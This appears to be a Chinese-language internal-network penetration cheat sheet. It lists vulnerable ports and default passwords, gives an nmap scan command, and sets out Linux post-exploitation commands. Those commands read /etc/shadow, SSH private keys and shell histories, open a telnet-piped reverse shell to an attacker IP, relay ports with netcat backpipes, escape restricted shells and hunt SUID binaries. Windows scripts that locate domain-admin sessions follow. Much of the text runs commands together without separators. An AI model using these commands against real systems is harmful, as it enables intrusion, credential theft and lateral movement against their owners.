內網滲透合集（一）
常見脆弱端口掃描
21 ftp 主要看是否支持匿名，也可以跑弱口令80 web 常見web漏洞以及是否為一些管理后臺443 openssl 心臟滴血以及一些web漏洞測試873 rsync 主要看是否支持匿名，也可以跑弱口令2601,2604 zebra路由，默認密碼zebra3128 squid代理默認端口，如果沒設置口令很可能就直接漫游內網了4440 rundeck 參考WooYun: 借用新浪某服務成功漫游新浪內網
5900 vnc6082 varnish 參考WooYun: Varnish HTTP accelerator CLI 未授權訪問易導致網站被直接篡改或者作為代理進入內網6379 redis 一般無認證，可直接訪問
7001的weblogic，默認弱口令，8080的tomcat，默認弱口令
8000-9090 都是一些常見的web端口，有些運維喜歡把管理后臺開在這些非80的端口上9200 elasticsearch11211 memcache 未授權訪問27017 mongodb 未授權訪問28017 mongodb統計頁面
50000端口SAP命令執行
2222 DA虛擬主機管理系統登陸 （國外用較多）2082/2083 cpanel主機管理系統登陸 （國外用較多）3312/3311 kangle主機管理系統登陸8083 Vestacp主機管理系統 （國外用較多）7778 Kloxo主機控制面板登錄10000 Virtualmin/Webmin 服務器虛擬主機管理系統
附上自己平時用的nmap命令，由于之前發包太大vps被封過一次，所以加了一些限速的參數./nmap -sT -sV -p 21,80,443,873,2601,2604,3128,4440,6082,6379,8000,8008,8080,8081,8090,8099,8088,8888,9000,9090,9200,11211,27017,28017 --max-hostgroup 10 --max-parallelism 10 --max-rtt-timeout 1000ms --host-timeout 800s --max-scan-delay 2000ms -iL iplist.txt -oN result/port.txt --open
獲得操作系統版本
cat /etc/issuecat /etc/*-releasecat /etc/lsb-releasecat /etc/redhat-release
獲得內核版本
cat /proc/version uname -auname -mrs rpm -q kernel dmesg | grep Linuxls /boot | grep vmlinuz
正在運行的服務
ps auxps -eftopcat /etc/service
哪些服務具有root權限
ps aux | grep rootps -ef | grep root
安裝了哪些程序，版本，以及正在運行的
ls -alh /usr/bin/ls -alh /sbin/dpkg -lrpm -qals -alh /var/cache/apt/archivesOls -alh /var/cache/yum/
服務的配置文件
cat /etc/syslog.conf cat /etc/chttp.confcat /etc/lighttpd.confcat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.confcat /etc/my.confcat /etc/httpd/conf/httpd.confcat /opt/lampp/etc/httpd.confls -aRl /etc/ | awk '$1 ~ /^.*r.*/
工作計劃
crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root
網絡配置
cat /etc/resolv.confcat /etc/sysconfig/networkcat /etc/networksiptables -Lhostnamednsdomainname
其他用戶主機與系統的通信？
lsof -ilsof -i :80grep 80 /etc/servicesnetstat -antupnetstat -antpxnetstat -tulpnchkconfig --listchkconfig --list | grep 3:onlastw
緩存？IP和/或MAC地址?
arp -eroute/sbin/route -nee
數據包可能嗅探嗎？可以看出什么？監聽流量
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
你如何get一個shell？你如何與系統進行交互？
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444 # Attacker. 輸入 (命令)nc -lvp 4445 # Attacker. 輸出(結果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目標系統上. 使用 攻擊者的IP!
如何端口轉發？（端口重定向）
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Portssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
#mknod
# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipemknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relaymknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
建立隧道可能嗎？本地，遠程發送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip]proxychains ifconfig
- 秘密信息和用戶
你是誰？哪個id登錄？誰已經登錄？還有誰在這里？誰可以做什么呢？
idwhowlast cat /etc/passwd | cut -d: # List of usersgrep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super usersawk -F: '($3 == "0") {print}' /etc/passwd # List of super userscat /etc/sudoerssudo -l
可以找到什么敏感文件？
cat /etc/passwdcat /etc/groupcat /etc/shadowls -alh /var/mail/
什么有趣的文件在home/directorie（S）里？如果有權限訪問
ls -ahlR /root/ls -ahlR /home/
是否有任何密碼，腳本，數據庫，配置文件或日志文件？密碼默認路徑和位置
cat /var/apache2/config.inccat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg
用戶做過什么？是否有任何密碼呢？他們有沒有編輯什么？
cat ~/.bash_historycat ~/.nano_historycat ~/.atftp_historycat ~/.mysql_history cat ~/.php_history
可以找到什么樣的用戶信息
cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root
private-key 信息能否被發現？
cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
- 文件系統
哪些用戶可以寫配置文件在/ etc /？能夠重新配置服務？
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/ var /有什么可以發現？
ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases
網站上的任何隱藏配置/文件?配置文件與數據庫信息？
ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/
有什么在日志文件里?（什么能夠幫助到“本地文件包含”?)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ # auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系統引導......)
如果命令限制，你可以打出哪些突破它的限制？
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
如何安裝文件系統？
mount df -h
是否有掛載的文件系統？
cat /etc/fstab
什么是高級Linux文件權限使用？Sticky bits, SUID 和GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null
在哪些目錄可以寫入和執行呢？幾個“共同”的目錄：/ tmp目錄，/var / tmp目錄/ dev /shm目錄
find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o+w -type d 2>/dev/null # world-writeable folders find / -perm -o+x -type d 2>/dev/null # world-executable folders find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders Any "problem" files？可寫的的，“沒有使用"的文件 find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
準備和查找漏洞利用代碼
安裝了什么開發工具/語言/支持？
find / -name perl* find / -name python* find / -name gcc* find / -name cc
如何上傳文件？
find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
下面這個Windows命令行腳本將掃描遠程系統活躍域管理會話。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
你也可以使用nbtscan工具
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
使用cobalt strike探測內網，執行arp scan掃描機器，add route添加路由，調用msf各個掃描模塊或nmap對網內的機器開放端口版本操作系統類型進行探測。
linux系統中常見路徑
